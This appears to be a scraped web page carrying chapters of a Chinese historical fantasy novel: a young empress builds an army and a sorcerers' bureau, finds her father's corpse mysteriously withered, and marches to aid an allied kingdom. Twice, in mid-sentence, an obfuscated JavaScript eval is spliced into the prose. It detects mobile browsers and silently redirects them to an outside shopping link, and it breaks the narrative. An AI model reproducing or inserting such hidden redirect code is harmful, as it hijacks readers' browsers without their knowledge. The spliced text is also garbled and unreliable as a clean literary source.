闫斯年晃了晃神,忙躬身道:“陛下,中原好比雄狮,四方之境好比雄狮脚下的绵羊,但绵羊不是生来就是羊,而是披着羊皮的狼。关外苦寒,他们觊觎中原地大物博,每到冬天,总可能有那么一两头狼铤而走险,来中原掠食。而如今雄狮身上长满了会吸血的虱子,这群羊自然会露出狼子野心。” 周昭点头道:“如今这些虱子都被爱卿拔得差不多了,朕想给雄狮装上钢甲利刃,统领意下如何?” 这是要练兵。 自从十多年前镇北候那一死,宣庆帝虽然有心整顿军务,但太过谨慎。除了霍家,其余各地大将都是皇亲国戚,就连兰令仪也是后来提上去的。 朝中重文轻武之风不减,皇帝手里的兵权捏得紧,谁承想二殿下晋王,大殿下平南王先后离世。一来青黄不接,朝中没有能用之人。 二来,除了北疆鞑子频频侵扰,其余各地还算安稳。太平日子养弱兵,也难怪新帝急着练兵。 闫斯年估摸着,新帝是从去年满朝文武只有兰令仪一人主战的时候起,便留了这份心思。 这事其实不大好办。 如今要练兵,只能是先从南衙十六卫跟北衙禁军练起,但这些人大都是李勇之类的世家子弟,不好练。 闫斯年心里这么想,嘴上却顺着周昭的意思说:“好是好,不知陛下想练成一支什么样儿的军队?” “当年成祖皇帝一统四方,率领的亲军名为玄甲营,朕这支军队,也叫玄甲营。将南北两衙禁军合并,地方抽调人马收编玄甲营,此事交给统领去办。先不必急着推辞,朕把这个给你。” 周昭目光如炬,一眼就看出闫斯年在想什么。她拿出一半兵符,闫斯年忙上前有几分惶恐地接住:“这半个兵符朕交给你,若有人敢不服从命令,你大可用这兵符军法处置。” 兵符捏在手里沉甸甸的,透着寒气,闫斯年面露难色:“可是陛下,臣就是个禁军统领,这辈子没出过盛都,哪懂得练兵......” 周昭道:“你且放心,等过几天,会有人来盛都帮你。此事可还有疑问?” 闫斯年摇摇头,周昭接着道:“这第二件事,朕还没想好怎么办,槐鬼虽然被压制,始终是个不知道什么时候就要爆发的炸药库,朕……心里没底。” 闫斯年试探道:“陛下还是想启用术士?” 二人视线短暂接触了一瞬,闫斯年接着道:“这……容臣实话实说,启用术士,比练兵还难办。大周国情如此,境内术士少之又少,再说世家贵族怕是……” “朕又何尝不知。”周昭叹了口气,站起来道,“去年前朕便想广招天下术士,可朝堂你也看到了,还没怎么着,就跳出来一堆人。” “从前国师教朕,治国如烹小鲜,火候要适中。朕思来想去,觉得这话并不适用于当下。如今大周千疮百孔,非得用刀子剜去烂肉,大火猛烧。天下之大,别国都能容纳术士,为何大周不能容?” 闫斯年道:“陛下所言虽有道理,就怕……动摇国本。” 周昭来了兴致:“统领也觉得,一群术士就能让国本动摇?” 闫斯年虽然偶尔有些小心思,但人还算老实,一股脑地说道:“圣祖皇帝开国称王,便是因为身负人皇血脉,百姓敬重皇族,供奉皇族。一旦修道之风于国内盛起,皇权势必会受到冲击。当年成祖皇帝不惜毁道拆庙,大抵也是如此。” “万一……臣是说万一,这些术士找出破解槐鬼之法,人皇神血救不了民,传说中的修道仙术却能救民,那么朝堂上下,世族贵族,乃至皇族,都不得不走下神坛,奉道为神。” 周昭沉吟道:“统领这话有两处,朕有疑。其一,圣祖皇帝称王,并非人皇血脉,而是有救世之功。其二,奉道为神,对皇族世家虽有冲击,却远不及槐鬼泛滥成灾之冲击。统领,你说国若亡了,皇帝还能坐在高台上接受百姓的供奉景仰吗?如今大周岌岌可危,稍微想动点儿刀子,前怕世族皇权,后怕矫枉过正。要朕来说,此等绝境,矫枉必得过正!” 闫斯年心里一惊,道:“陛下有如此魄力,臣自愧不如。”他看着这位年轻的帝王,又问:“就是不知陛下如何打算?” 周昭这才吐露真实想法:“朕欲在朝中建一处伏灵院,广召天下术士。不仅要封官,还要封大官,让各国有能之士,都来为大周排忧解难!” 做皇帝的尚且如此,当臣子的还有什么不能冲? 闫斯年听得热血沸腾,差点儿就要接下这个差事,周昭抬手道:“不忙,统领你先只管练兵,朕跟你说这么多,是想让你帮朕参谋几个人选,大理寺卿张文山,兵部尚书孙旻,这两人如何?” 闫斯年摸了摸下巴一小撮胡子,说道:“几年前百姓聚众闹事,臣与张大人同在大理寺门前主事,此人大是大非不含糊,不乏文人气节,但性子不够硬,太单薄。兵部孙大人嘛,是个干实事的,虽说一点就炸,倒是更对臣的脾性。” 闫斯年想了想又说:“除去这两位大人,臣还有一人举荐。” “谁?” 闫斯年犹豫了一下:“平南王府的公子,周稷。” 周昭不解道:“何意?稷儿才十岁,能做什么事?” “公子虽然年纪小,身后却站着平南王府。不必做事,只要能将平南王府拉进来,事半功倍。” 这回周昭沉默良久,才叹息道:“是个好法子。不过……让朕再想想。统领,你先去忙吧。” 闫斯年诚惶诚恐地走了。没过几天,还真有人来了,来人正是当年霍璋身边的小将燕飞。 燕飞在北疆混得一身杀气跟痞气,这两年跟鞑子打了不知道多少来回,心气没那么浮躁,比从前稳重很多。 他看不惯城中这些少爷兵的做派,也不怕得罪人,背后又有周昭撑腰。不出三月,便将这群“新兵蛋子”收拾得服服帖帖。 另一边,朝中有两道新旨先后而发。 一是封平南王长子周稷袭王位,二是新设伏灵院。伏灵院紧锣密鼓张罗起来,为首便是兵部尚书孙旻与大理寺卿张文山主持。 刚建伏灵院时,众臣都不明白这是要做什么,加之孙张二人口风又紧,等到术士大批涌进盛都,谏言的折子终于反应过来,雪花片儿似的每天往宫里递。 周昭称病,一概不见。 任凭朝臣怎样炸开了锅,她正躲清闲,手把手教周稷练字。 周稷长了一双很漂亮的眼睛,模样不大像平南王,倒是跟周昭周澈有点儿像,性子良善,乖巧懂事。 他捏着笔杆,嘴巴轻轻抿着,看得出很使劲儿了。 越是使劲儿,手底下的字就越是僵,头顶的声音传来:“稷儿,放松些。” 周昭这一出声,周稷手抖了抖,晕出一个墨团子,慌张地扭头看她。周昭松开手,想摸摸周稷的头,对方又是一偏脑袋,受惊小鹿似的。 周昭的手空荡荡停在半空:“稷儿,你怕姑母?” 周稷眨眨眼睛:“姑母是君,君是天,稷儿……怕。” 周昭无可奈何地笑了笑,这回实实在在地在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17075762|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小子头上揉了一把:“这些话都是谁教你的?” “没人教,稷儿自己想的。稷儿还知道,姑母接稷儿入宫,让稷儿在伏灵院任职,是要干一件大事!” 周昭牵着他的手离开书案:“稷儿怕不怕?” “不怕!母妃说了,姑母在皇宫孤零零的,过得辛苦,让稷儿多住些时日再回府。” 周昭的心好像被一只大手狠狠攥住,她也分不清是痛还是涩,有那么一瞬间喘不上气,直到周稷仰着头问:“姑母,是不是稷儿说错话了?”周昭才如梦方醒。 她蹲下将周稷抱在怀里:“没有,稷儿很乖。这是姑母跟稷儿的约定,咱们一定能干成这件大事,对不对?” 周稷肯定地点点头:“嗯!” 春秋寒暑,又是一年。周昭常常下了朝便去督察,等大雪那日,伏灵院已经正式投入运作,玄甲营也已经有模有样。 她从营中出来,回宫换了身衣裳,戴了只斗篷,命宫人备马,从永安门一路向北,顺着大路走到尽头再向东边走,来到苍界山脚下。 周昭命随从留在山下,独步上山。如今苍界山远不如从前热闹,黄昏时分,火红的夕阳像一滩铁水融化在山腰上,将她的影子在身后拉成长长的一条。 周昭见过方丈住持,又向后山走。山路还是那条,没有变,周昭却觉得道路难行,后背被金灿灿的阳光烧得有些发烫。 她沉默着往前走,走到熟悉的坟墓时不知道在期待些什么,原地站了会儿,除了鸟鸣声让青山更显寂静,再没有别的声音了。 这里埋着两座坟。 一座是江梅棠的空坟,紧挨着这空坟十余步是一座新坟。说是新坟,实则也有两年多了。 周昭照例带来一只新鲜的梅花,对着石碑道:“师父,我来看你了。” “这梅花是宫里花匠培育的,不如应景儿的好看,等过段时间我再折新的给您。” “师父,您从前问我想不想当皇帝……”周昭自嘲地笑笑,捧了把新土撒在坟头。 江梅棠已死,再不能应声,何况空坟。 周昭磕了三个头,走向那处新坟。 “你好啊,裴砚。”周昭在坟前盘腿坐下,轻轻摸了摸那块石碑上刻的字,“我带来的东西你都不喜欢吗?你很久没来梦中看我了。” “不过,请你别怪我,裴砚,你活着的时候干嘛不告诉我你喜欢什么呢?不,你还是怪我吧。”周昭想了想,她似乎没有关注过裴砚喜欢什么。裴砚对什么都是淡淡的,直到死时都一如既往的沉默,连句多余的话都没有给她留下。 刚回盛都那两年,裴砚一直跟在她身边,像块石头,周昭回头望总能看到他那张不咸不淡的脸。裴砚死后,周昭常常会恍惚,好像裴砚又牵着狼牙跟自己那匹瘦马陪着她走啊走,一直沉默着走到路尽头。 裴砚唯一喜欢的,应该就是那匹马。但马也死了,那晚它身上的箭不比裴砚少。 “这是送给你的,”她说着,掏出一本经书,“我来时想了许久,该给你带点儿什么好。方丈说金刚经能安魂,我便抄了这本给你。” 周昭一页页撕开经书,在坟前烧了。 火星子卷着没烧完的纸屑打着旋儿往天上飞,越飞越高,风声呜呜咽咽的,吹得周昭发丝也跟着飘。她眼里仿佛进了灰尘,酸得难受,于是用力眨了眨,抬头望天,时间久了脑袋阵阵眩晕。 “裴砚,下辈子记得,别再跟着我下山了。” 风声戛然而止,黑色的灰尘呼啦啦落下来,像长了眼睛似的一点儿没沾到周昭身上。 周昭刚回宫,小乐子便气喘吁吁地出现在宫门口候着。 “什么事?”周昭蹙眉道。小乐子这才敢颠颠儿地跑上前,埋着头,低声道:“陛下,李公公回来了!” “哪个李公公?” “陛下您忘啦!就是伺候先皇的李德海李公公!” 周昭哦了一声,边走边道:“他不是回乡养老去了吗?有什么事?” 小乐子擦了擦脸上的汗,看了眼周昭身边的侍卫,冷冷的声音便传来:“朕问你话。” 小乐子一个激灵:“回陛下,李公公说有要事禀告陛下,托奴才传个话儿,想见陛下一面。” 李德海告老还乡时五十有五,身体却很硬朗,皮肤比女人还要白细,脸上一点儿多余的须发都没有。小乐子去宫门口接他时,险些认不出。仅过了不到两年时间,李德海的头发全白了,腰背也佝偻着,要很仔细才能找到几分从前大总管的影子。 二人一前一后沿着宫道走,小乐子满口义父地叫着,李德海没吭一声,踏进上书房时周昭正侧着身子批奏折,整张脸都埋在高高摞起的折子里。李德海身子晃悠了一下,双目闪着泪光,拂开小乐子的手,颤颤巍巍跪地,磕了个响头,唤道:“陛下……” 周昭心中一震,知道这声陛下不是唤她。她转过身,李德海显然愣了愣,半晌,眼泪汪汪道:“公主,您过得还好吗?” 周昭许久没听见过这个称呼,眼神闪烁,说不出什么滋味儿,示意小乐子扶李德海坐下,道:“公公有事儿要与朕说?” 李德海仿佛如梦初醒,擦了擦眼泪,轻声道:“陛下恕罪,奴才一时忘了规矩。” 周昭摇摇头,挥手道:“小乐子,你退下。”李德海感激地看了她一眼,等小乐子走了,这位满脸泪痕的宫里老人突然再度跪下,举臂高呼,哽咽道:“陛下!老奴有罪!先皇他、死得惨呐!” 周昭恍惚间没反应过来这句话的意思,李德海苍老的声音又传进耳朵里:“老奴两年前就该随先皇去了,可我贪生怕死!总觉着那不是真的,但这两年老奴夜夜都做梦,梦到先皇临死前那晚。我没两天好活啦!陛下,您一定要查明真相,不能让先皇枉死啊!” 100. 第 100 章 周昭脑袋里像钻了十来只蜜蜂,一会儿是嗡嗡的响,一会儿是被蛰得疼,她搁下折子起身,要李德海把话讲明。 “那一年,先皇突然驾崩,但老奴始终不敢相信。那时先皇虽然因操劳国事病重,可老奴贴身服侍,最清楚先皇的身子。所以,老奴在盖棺前忍不住又去看了眼......” 李德海哽咽住,用袖子擦了擦眼角:“我见先皇衣领有些褶皱,便伸手去理,谁知刚碰到先皇的身子,那块皮竟然就在我手底下瞬间萎缩了!我吓得不轻,连忙将衣服盖好,踉踉跄跄跑出去,却撞到一人。” 李德海瞪大眼睛,继续道:“那人身穿锦衣卫的衣服,但老奴从未见过。他看到我便拔刀,半晌,却没杀我,交给我一份秘旨。我认出先皇的笔迹,加之那上面盖有玉玺,便不疑有他。第一道圣旨是说暂且秘不发丧,老奴知道先皇为的是等您从姜国回来。” “第二道圣旨,却让老奴当场生了冷汗,上面写两仪殿内侍奉宫人悉数陪葬。我才明白这人应是先皇暗卫,就是为做这两件事而来。后来陡生变故,陈子明谋反,平乱后先皇灵柩入皇陵,那锦衣卫下落不明,两仪殿宫人在那晚几乎全数死绝,也算是陪葬了。”李德海叹息道,“陛下登基后,我隐约觉得这第二道旨意与先皇驾崩后身体异状有关,怕惹祸上身,因此匆匆回乡。” 周昭安静听着,看不出喜怒。 “这两年老奴每日都想起先皇对我的恩情,日日良心煎熬。我一面劝自己先皇确实病重难以为继,一面又忍不住想起在先皇驾崩不久前,于两仪殿内偶然见到的一幕。”李德海像是回忆起了什么可怕的事情,那双浑浊的眼睛突然放射出骇人的光芒,“陛下,我看见了一只鬼!” 周昭脸上终于露出细微的变化,沉声道:“公公,你可要想好了再说。” “陛下!老奴想得很清楚了!那绝对是鬼!”李德海激动道,语速也快起来,“那晚本不该老奴当值,我半夜想起先帝近日格外怕冷,怕小乐子伺候不好,又冒着雪回到两仪殿。” “我到了殿前,小乐子正靠在廊前睡觉,我踢了他一脚,小声骂道:‘就是这么伺候主子的?也不怕冻死你个小没良心的!’小乐子没醒,正好殿内传来先皇咳嗽的声音,我本欲进殿,又听见里面传来一个男人的说话声。我慌忙停下推门的手,以为陛下在接见大臣,便一直侯在门口。” “先皇咳声不断,我竖耳听着,却听见几声响儿,当时没听清是什么,后来才明白那是铁链撞击发出的声音,随后一个巨大的身影突然映在门上。那晚雪大,地上积雪亮得很。我一眼便看出那绝不是什么大臣,老奴情急之下高呼了声‘陛下’,我刚张开口,一道寒气便迎面逼来,什么都不知道了。” “第二日,我是在家中醒来的。老奴还当是做梦,更不敢去问先皇,这事儿就这样无疾而终。直到最近一年,老奴做梦经常梦到一个青面獠牙的厉鬼,拿着铁链向我索命。老奴想起盖棺前先皇的模样,断定这其中必有关联!斗胆来找陛下,万望陛下能查清当年真相,查出先皇死因!” 皇陵靠近北苑,那里自从槐鬼之后便荒无人烟。历代皇帝都葬于皇陵,圣体以水晶棺木封存,棺椁七重,能保尸身不腐。 这其中仅有一个例外——当年成祖正北巡,北方突然六月飘雪,成祖病死在途中,事发突然并无遗诏,更未立太子。后来成祖之弟登基,不知为何,成祖灵柩却下落不明,没有入皇陵。 皇陵不远处便是龙脊山,山上矗立着那座巍峨肃穆的七宝玲珑塔,山下则是曾经关押疟鬼之地,自疟鬼死后,那里便塌了。 李德海的话不像说谎,初时周昭只信了三成,宣庆帝素来仁厚,断不会让整个两仪殿宫人陪葬。但李德海说到那铁链声,周昭又信了七成。 闫斯年心中纳闷,并不清楚周昭为何突然召见自己一同来皇陵。说句大逆不道的话,闫斯年并不喜欢这地方,阴气太重。特别是那道漆黑的龙脊山,草木不生,活像是真龙下凡。 陵台令见到周昭慌忙来迎,道:“陛下怎地突然来了,下官还没有准备......” “朕来看看父皇,前面带路。” “是。”陵台令又看闫斯年,有些狐疑,却不敢多问,低着头往前走。 等到了皇陵入口,周昭抬手制止道:“你就在此候着,斯年,随朕进去。”陵台令遵旨照办,历来皇帝活着的时候从不进皇陵,就算是祭拜也不会像周昭这样进到里面,陵台令以为周昭是一时兴起来看这皇陵建造,心里直打鼓。 “斯年,你是不是想问朕叫你来干什么?”周昭道。闫斯年规规矩矩道:“陛下让臣跟来,臣照做就是。” 周昭回头道:“总督从前,并不这样跟朕拐着弯儿说话。行了,朕没有怪你的意思。孤家寡人,历朝历代都一样。”她摆摆手,继续朝前走。闫斯年心中怪不是滋味儿,但他还是什么都没说,亦步亦趋跟在周昭身后。 皇陵极为开阔,占地极广,比皇宫还要大上两倍。每个帝王都有单独的一处陵宫,周昭只为宣庆帝而来,因此陵台令带他们进来的入口,只能看到这一位帝王的棺椁。 这里常年供灯,四面墙壁皆是栩栩如生的壁画,描绘帝王生平。尽管如此,闫斯年一踏进这里还是没来由地浑身发毛。 周昭在不远的地方跪下叩首,闫斯年连忙跟着跪拜。“斯年,你刚才说朕让你做什么,你就照做?” “臣不敢撒谎。” “好,你来。”闫斯年上前,周昭道,“去把那棺木打开。” 闫斯年抬起头,震惊道:“陛下!” “打开。” “陛下,这不合规矩!”闫斯年低声道。 周昭看了看他,道:“斯年,朕也是习武出身。你不打开,朕便自己来,难道你还要拦着吗?朕叫你来,只是做个见证。” 周昭努力表现得云淡风轻,事实上在闫斯年眼中也的确是这样,实则周昭心跳如鼓,她暗暗攥紧拳头,这地宫空气稀薄,让她每呼吸一口都觉得冰冷。她怕自己开馆的手会发抖,而帝王是不能在人前发抖的。 闫斯年犹豫半晌,终于敌不过周昭的命令,他重新跪下磕了三个响头,口中念念有词,又点燃三根御香插入供台香炉。周昭听不清他说的是什么,但大概能猜到是让宣庆帝莫要怪罪云云。 周昭把视线移到棺椁上,闫斯年摩拳擦掌,又看了周昭一眼,见她心意已决只好硬着头皮上,他抬起棺盖一角,缓慢移开。 本来闫斯年打定主意决定不看棺材里面,但人的好奇心总是在关键时刻更甚一筹,他忍不住偷偷往下瞄,短短一眼,闫斯年忍不住怪叫一声,手下一滑。那棺盖十分沉重,若是砸下去,地动山摇不说,他那只右手便废了。 周昭极快地伸手挡住,合二人之力将棺盖翻开。亏得闫斯年这会子还忠心护主,一个侧身闪到周昭面前,挡住道:“陛下别过来!” 周昭哪里肯听,一把推开他,看清棺内是何情形,不由头晕眼花,险些一头栽倒。 “陛下!” 周昭再度推开闫斯年的手,指甲把手心掐出血来,勉强作声道:“今日之事......” “臣明白!今日臣什么都没看到,也从未打开这棺木!”闫斯年微微抬头,“可陛下,先皇怎么会......” 这金丝楠木棺里还嵌着水晶棺,为的就是怕有盗墓贼打开棺盖有损圣体。只要不打开里面那层密封的水晶棺,人就不会腐烂。 宣庆帝仅仅过世两年,按理说容颜依旧才对,可那水晶棺内,却呈现出万分恐怖的死状—— 宣庆帝本是身高八尺,尸身却短了几寸。 那是因为他整个肉身尽数萎缩,只剩一张毫无血色的人皮软趴趴地贴在骨头上,眼窝凹陷,嘴唇乌黑,活像一只被人吸干了鲜血的厉鬼! 闫斯年重新合上棺木,周昭面无表情地看着他,什么话也没说。 翌日,陵台令请辞,皇帝赏金百两准其还乡。 半月后,沉寂数月之久的孟舒突然出现在黎国以东,与赵国、何罗国呈包围之势,沿无妄海向黎国边境一路逼近。 北疆鞑子也在这时从天山后溜达出来觅食,正跟霍璋打了个照面。霍璋在山里找了鞑子小半年,甫一见面就杀红了眼,哪里腾得出手照顾黎国。再说就算有余力,也无权擅自动兵救援。 两封加急战报传到盛都,朝廷内部对此并无多少人在意,只有少数几名官员觉得黎国与周朝交好,此次黎国危难,周朝理应出兵援救。罕见的是,李知远也是主站的一方。 不过,李知远自有自己的算盘——如今天子与黎国太子交情匪浅,断没有不救的道理。 就在朝内如火如荼的讨论中,周昭却下了一道不容反驳的旨意:亲征。 玄甲营就像一把钢刀,被周昭藏在盛都打磨了大半年,正是出鞘试试刀锋的好时候。 安平二年冬,朝廷分设以丞相为首的内阁和以兵部、禁军统领闫斯年为首的军机处。安平帝率军亲征。 大军行至黎国边境,赵国、何罗已攻占黎国数座城池,毫不畏惧周朝军队,两国军队继续向黎国国都松柏城行进。 腊月十五,疑似风雪太大迷失方向,周朝王军不进反退,于辽城以南百里安营扎寨。何罗王听罢大喜,作诗一首嘲笑周朝皇帝胆怯。 五日后,何罗国边境突然遇袭,神兵宛如天降,一日占一城,眼看就要打到何罗国都申城。 何罗王大惊失色,连夜撤兵回城救援,赵国挽留说:“此乃大周妖女声东击西,兄若回城,必中其计!” 何罗王大骂:“站着说话不腰疼!”随后率军匆忙回城。 赵国势单力薄,加之深入黎国腹地,不敢强攻。黎国趁机反攻,赵国主狡诈,闻声以退为进,让出一座空城。黎国士兵纷纷弃剑入城,岂料城中埋伏上万敌军,只待黎军入城便关城门。 一小股黎军丢盔弃甲逃窜出城,敌军穷追不舍,却在城外遇伏,领军之人为黎国太子谢景。 原来,谢景早料到赵国不会轻易将到嘴的肥肉吐掉,因此兵分三路。 一路轻军假意入城,意在混淆视听。一路设埋,最后一路此刻正在与城内黎军里应外合攻城。 赵国搬起石头砸了自己的脚,本以为一出妙计,却适得其反自讨苦吃,只好白白将城让出。谢景一马当先,抓了赵国将军,士气大振。那将军并不服气,大骂道:“周朝妖女给你们黎国下了什么迷魂汤!让你谢景甘愿当她脚边一条狗!” 谢景端坐马上,薄唇轻抿,几年未见愈发俊朗,一双乌黑的眼睛亮的惊人。他歪着头啧了一声,仔细擦着剑上血,无所谓道:“舌头不想要,就拔了。” 左右欲动,对方言辞更甚,拧着脖子继续道:“呸!你想攀高枝儿,人家还是公主时候就看不上你!” 谢景有些头疼,所谓好事不出门坏事传千里啊。他不耐烦地挥手,示意赶紧将这人拉下去。 “谢景!你难道忘了!你母亲可是姜国人!你就不怕周朝皇帝也来挖了她的心!” 谢景脸色一黑,抬起头,勾了勾手。 “殿下,有何吩咐?” 谢景转了转脖子,道:“颜辰,去,把那杂种给本殿下再带回来。” “得嘞!”颜辰虽然比谢景早入军营几年,但也是个爱玩儿的性子,颜辰一母同胞的大哥颜川却沉稳许多。这兄弟二人长相极为相似,唯有一双眼睛不大相同。颜辰是黑瞳,颜川则是黄沙一般颜色的瞳孔,听说是几年前被蛇咬,生了场大梦,病好便这样了。 颜川走过来一把扣住颜辰的肩膀,劝道:“殿下,这人说话虽不中听,但却是赵王心爱的大将,若为人质必有大用。” “哥!痛、痛!”颜辰呲牙咧嘴道。 谢景催促道:“我知道,颜辰,你快去。”颜川刚一松手,颜辰就像兔子似的蹿出去。赵国将军冷笑道:“怎么?回心转意了?愿意跟我们——”他瞪大眼睛,难以置信地看着飞过来插在胸口的剑,“谢景,你敢、敢杀我......” 谢景转了转手腕,转身骑马离开,高高束起的马尾十分张扬地在脑后晃了晃,“来个人,帮我把剑擦干净了!剩下的,跟本殿下入城喝酒去!”说罢抬手挥鞭,疾驰而去。 颜辰随即跟上,颜川无奈掩面,叹息一声,回头去拔剑。 与此同时,何罗与周之战亦大败。四方不约而同停战,稍作休养。 十日后,周昭率军抵达黎国边境。 虽说周黎交好,但无论如何,一国军队驻扎在另一国土上都是件很微妙的事情。周昭令大军就地休整, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079356|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不再向前。 她想起少时与谢景去三苗国抓疟鬼,种种情形仿佛就发生在昨日,如今只要挥鞭不歇,一日就能到黎国,却不能再进一步。周昭正在帐中想着如何能见谢景一面,士兵通报宁大夫在帐外求见。 “快请进来。”周昭道。 宁啻弯腰进帐,笑着道:“陛下,你猜我把谁给你带来了?”周昭睁大眼睛:“难道是......” “正是。”宁啻走近了,悄声道,“阿昭,长淮那小子还算有点良心。听说你我驻扎在此,竟瞒着王上偷偷跑来了。” 周昭大喜过望,又担忧谢景安全,忙道:“他在哪儿?” 宁啻为难道:“他的身份不宜来这里,长淮也是派了手底下一个兵递了封书信给我,说他在老地方等我们。” “老地方?” “对,老地方。” 二人相视一笑,都明白了长淮信中的意思。 等到月上柳梢,他们方动身。谢景实在是很会选地方,那里面朝大海,向前是黎国大军,向后是周朝大军,断不会有敌军埋伏,隐蔽又安全。 周昭骑着狼牙,宁啻则坐在一匹通体雪白的马背上,笑说:“可惜我是个窝囊废,若是哪里有明枪暗箭的,还请陛下保护我这手无缚鸡之力之人了。” 自从宁啻行医后,周昭少见他插科打诨,知道他是在说当年于无妄海便险些被裴砚射中。她无可避免地想到裴砚,眼神暗了暗,却不忍在宁啻跟前提及故去旧人,于是迎着晚风弯了弯眉眼,道:“好啊,宁兄放心就是。” 策马约莫小半个时辰,终于听见海浪声。 腥咸的海风直往口鼻钻,深蓝色的天幕底下远远地站着一个人影,背着手叫道:“大胆!哪儿来的两个小鬼,还不速速下马见过本殿下!” 宁啻哈哈大笑,不停反倒一挥鞭,白马四蹄飞奔,那人影连连后退,高呼道:“谋杀亲弟啦!” 他伸手抢过缰绳,周昭只看见白马仰着脖子嘶鸣一声,宁啻从马背上翻下去不见了,“驾!”周昭上前一看,这两位皇室子弟正仰面躺在海滩上大笑不止。 马儿翻了个白眼,抬起后腿扬了扬沙,走远了。 “阿昭,你来了。”谢景笑着起身,露出两排洁白的牙齿,又把宁啻从海水里拉起来。 周昭也跟着笑,唤道:“长淮。” 谢景不知为何有点别扭,他伸手挠了挠脑袋,又往边上站站,似乎不知道说什么话才好。宁啻却再清楚不过谢景的心思,撞了撞他的肩膀,故意道:“大胆!见了堂堂周朝天子还不速速行礼!” 三人你望我我望你,不约而同地笑出声。 几年未见,因着周昭身份转变带来的尴尬,也在转瞬间一扫而空。 这地方正是当年三人分别之地,那时谢景带着疟鬼回到盛都,周昭宁啻则去往雪松山求援,谁能想到一别经年,再见恍如隔世—— 做皇帝的做皇帝,当将军的当将军,行医的行医。 人前风光无限,个中酸楚只有自己清楚。可故地重游,心中皆感慨万千,仿佛卸下了那张戴在脸上多年的面具,又回到十五六岁的时候。 不过,他们都很有默契地没有提及这些年发生在自己身上的事儿,只说从前那段还没长大的日子。 就像一年多以前宁啻当年出现盛都为周昭治病,没有过问传得沸沸扬扬的杀母弑兄,谢景同样没有多问一句。 沿着海岸走了不久,眼前赫然出现一块巨石。谢景摸着那块石头,感慨道:“阿昭,多少年过去了......” “是啊,多少年了。” 周昭却没看向那块石头,她的眼神落在海边更远一点儿的地方。恰逢此时,谢景问道:“对了,跟在你身边那小子,这回来了吗?”她摇摇头,淡淡道:“没来。” “难得。我那时见他缠你缠得紧,一看就居心不良,竟然没跟来。” “死了。” “谁?” “裴砚。” 谢景的话戛然而止,眼神看向宁啻,宁啻摊了摊双手,意思是谁叫你嘴贱。谢景打了个哈哈把这茬儿掩过去,周昭收回目光,像是并未在意,问道:“长淮,听说你父皇这两年大好了?” “嗯,老天保佑,我总算还能再玩儿几年。唉,一想到当皇帝我就头痛,父皇当年干嘛不多生他几个。” 宁啻又撞了撞谢景的肩膀,内心无语。谢景赶紧闭嘴,周昭不以为意道:“怪不得我看你比上回见心情好了许多。”她又玩笑道:“如何?是不是很感激当年的自己,还好没有因为形势所迫跟我成亲。” 谢景憋红了脸,半晌,道:“阿昭,你这女子怎地什么话都说。”宁啻难得看他吃瘪,心情甚好,揽着谢景道:“表弟,你也老大不小了,该成家了。” “是啊,我是要成家了。” “嗯,你要——你说什么?!” 谢景点点头,又重复道:“是啊,我是要成家了。”他烦躁地踢了脚沙子,道:“我正心烦,父皇跟你说的话一模一样。又说什么丞相独女温柔贤淑,貌美如花,已经指给我作王妃了。本来婚期是年初,因着打仗一拖再拖,已经到了无法再拖的地步,打完仗就要回去成婚了。” 周昭听罢,没什么特别的反应。宁啻虽然惊讶,也知道王室有许多不得已,道:“表弟,丞相的女儿我见过,王上倒是没夸大。” 谢景恼道:“那有什么用!我都没见过她,更不要说喜欢。” “你不同意?”宁啻问。 “不同意有什么用?”谢景叹息道,“父皇说了,这是为了江山稳固,皇权稳固。话都说到这份儿上,我一个小小的黎国太子,难道还敢让江山,让皇权不稳固?阿昭,你如今是皇帝,你说说。等再过两年那些大臣逼你成婚,你怎么办?” 周昭淡然道:“那就成婚。” 谢景惊讶道:“生子呢?” 周昭虽然蹙了蹙眉,却道:“……不是不行。” 周昭话虽如此,心中却想:“生孩子要卧床月余,麻烦,我哪有这个时间。不如把皇位传给稷儿,省事儿。” 宁啻眼中闪过一丝落寞,谢景抱着双臂摇头道:“阿昭,你的确长大了,跟从前很不同。” “是吗?我忘了从前什么样儿了。”周昭轻声道。 101. 第 101 章 潮水退却转眼间又扑到脚边,远处的海颜色黑沉沉的像墨,像能把他们几个生吞下去。 周昭回营后已经很晚,当晚她又梦见裴砚,却不是在海边冲他们射箭的那个愣头青,而是后来跟着她走过盛都无数大街小巷的沉默少年。 他的脸模糊不清,既像裴砚,又像另一个人,站在离她很远的地方,牵着两匹马。 突然间,一个巨浪仿佛从天上拍下来,来势汹汹,裴砚却在原地一动不动,浪花转瞬间又变成无数利箭—— 周昭又一次从梦中惊醒,她大汗淋漓,捂着心口缓慢地呼吸。 这场仗一直打到第二年春。 霍璋得知周昭亲征,特意把赵六子也派来了,周昭甚喜,如同有了左膀右臂。 虽然赵国与何罗打不过,但他们国土本就在此,地理位置上周朝并不占优势,更何况此地甚远,粮草难运。时隔多年,没想到油嘴滑舌的燕飞还是孤身一个,笨嘴巴的赵六子反倒已经娶亲,有了个刚满月的儿子。赵六子提议,不如向黎国借粮。 “咱们这回本就是道义帮忙,向黎国借点粮食,俺觉着能成。” “话不可说得太满。”周昭道,“明为帮忙,但若黎国真的亡了,唇亡齿寒,辽东海疆这些小国更会肆无忌惮侵扰边境。这仗既是帮黎国,也是帮周朝。” 她沉吟道:“不过,借粮倒也是个办法。” 